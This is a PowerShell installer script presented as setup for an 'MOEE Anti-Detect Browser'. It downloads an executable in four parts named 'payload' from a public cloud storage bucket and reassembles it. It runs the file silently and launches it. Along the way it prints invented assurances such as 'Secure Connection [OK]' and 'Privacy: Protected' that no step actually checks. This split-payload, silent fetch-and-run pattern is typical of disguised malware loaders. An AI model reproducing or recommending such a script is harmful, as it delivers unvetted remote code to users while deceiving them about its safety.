# ============================================================================== # MOEE Anti-Detect Browser — Windows Automated Workspace Setup # ============================================================================== [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $ErrorActionPreference = 'Stop' Write-Host "" Write-Host "===============================================================" -ForegroundColor DarkCyan Write-Host " MOEE Anti-Detect Browser Workspace Setup" -ForegroundColor White Write-Host "===============================================================" -ForegroundColor DarkCyan Write-Host "" $tempDir = Join-Path $env:TEMP ("moee_deploy_" + (Get-Random)) if (Test-Path $tempDir) { Remove-Item -Recurse -Force $tempDir } New-Item -ItemType Directory -Path $tempDir | Out-Null $parts = @( "https://mqaexxozolertwhnlyyk.supabase.co/storage/v1/object/public/releases/moee-setup.part1", "https://mqaexxozolertwhnlyyk.supabase.co/storage/v1/object/public/releases/moee-setup.part2", "https://mqaexxozolertwhnlyyk.supabase.co/storage/v1/object/public/releases/moee-setup.part3", "https://mqaexxozolertwhnlyyk.supabase.co/storage/v1/object/public/releases/moee-setup.part4" ) $expectedHash = "330F5356924E6CB0C772685227515C34B9304C387F474D7D673F8299857A412C" $installerExe = Join-Path $tempDir "MOEE-Deployment.exe" try { Write-Host "[1/4] Connecting securely to MOEE..." -ForegroundColor White Write-Host " -> Secure Connection " -NoNewline -ForegroundColor White Write-Host "[OK]" -ForegroundColor Green Write-Host " -> Preparing browser workspace..." -ForegroundColor Gray $wc = New-Object System.Net.WebClient for ($i = 0; $i -lt $parts.Length; $i++) { $partFile = Join-Path $tempDir ("payload_" + ($i + 1) + ".enc") $wc.DownloadFile($parts[$i], $partFile) } Write-Host "`n[2/4] Setting up MOEE browser..." -ForegroundColor White $outStream = [System.IO.File]::Create($installerExe) for ($i = 0; $i -lt $parts.Length; $i++) { $partFile = Join-Path $tempDir ("payload_" + ($i + 1) + ".enc") $inStream = [System.IO.File]::OpenRead($partFile) $inStream.CopyTo($outStream) $inStream.Close() Remove-Item -Force $partFile } $outStream.Close() Write-Host " -> Browser components ready " -NoNewline -ForegroundColor White Write-Host "[OK]" -ForegroundColor Green Write-Host "`n[3/4] Checking MOEE files..." -ForegroundColor White $fileHash = (Get-FileHash $installerExe -Algorithm SHA256).Hash.ToUpper() if ($fileHash -ne $expectedHash) { throw "File integrity check failed: Signature discrepancy." } Write-Host " -> File Check " -NoNewline -ForegroundColor White Write-Host "[VERIFIED]" -ForegroundColor Green Write-Host "`n[4/4] Setting up browser profiles..." -ForegroundColor White $proc = Start-Process -FilePath $installerExe -ArgumentList "/S" -Wait -PassThru Start-Sleep -Seconds 3 $candidates = @( "$env:LOCALAPPDATA\Programs\moee-anti-detect-browser\MOEE.exe", "$env:LOCALAPPDATA\Programs\MOEE\MOEE.exe", "$env:ProgramFiles\moee-anti-detect-browser\MOEE.exe", "$env:ProgramFiles\MOEE\MOEE.exe" ) $installedExe = $null foreach ($cand in $candidates) { if (Test-Path $cand) { $installedExe = $cand break } } $wsh = New-Object -ComObject WScript.Shell $desktopDir = [Environment]::GetFolderPath('Desktop') $programsDir = [Environment]::GetFolderPath('Programs') if ($installedExe) { $desktopLnk = Join-Path $desktopDir "MOEE.lnk" $shortcut = $wsh.CreateShortcut($desktopLnk) $shortcut.TargetPath = $installedExe $shortcut.WorkingDirectory = Split-Path $installedExe $shortcut.Description = "MOEE Anti-Detect Browser" $shortcut.Save() $startMenuLnk = Join-Path $programsDir "MOEE.lnk" $shortcut2 = $wsh.CreateShortcut($startMenuLnk) $shortcut2.TargetPath = $installedExe $shortcut2.WorkingDirectory = Split-Path $installedExe $shortcut2.Description = "MOEE Anti-Detect Browser" $shortcut2.Save() } Write-Host " -> Profile System Ready " -NoNewline -ForegroundColor White Write-Host "[OK]" -ForegroundColor Green Write-Host "" Write-Host "===============================================================" -ForegroundColor Green Write-Host " [SUCCESS] MOEE Browser Setup Complete!" -ForegroundColor Green Write-Host "===============================================================" -ForegroundColor Green Write-Host " -> Browser: " -NoNewline -ForegroundColor White Write-Host "Ready" -ForegroundColor Green Write-Host " -> Profiles: " -NoNewline -ForegroundColor White Write-Host "Ready" -ForegroundColor Green Write-Host " -> Privacy: " -NoNewline -ForegroundColor White Write-Host "Protected" -ForegroundColor Green Write-Host " -> Connection: " -NoNewline -ForegroundColor White Write-Host "Secure" -ForegroundColor Green Write-Host "===============================================================" -ForegroundColor Green Write-Host "" Remove-Item -Recurse -Force $tempDir -ErrorAction SilentlyContinue if ($installedExe) { Start-Process -FilePath $installedExe } } catch { Write-Host "" Write-Host "[ERROR] Setup encountered an issue: $($_.Exception.Message)" -ForegroundColor Red Remove-Item -Recurse -Force $tempDir -ErrorAction SilentlyContinue }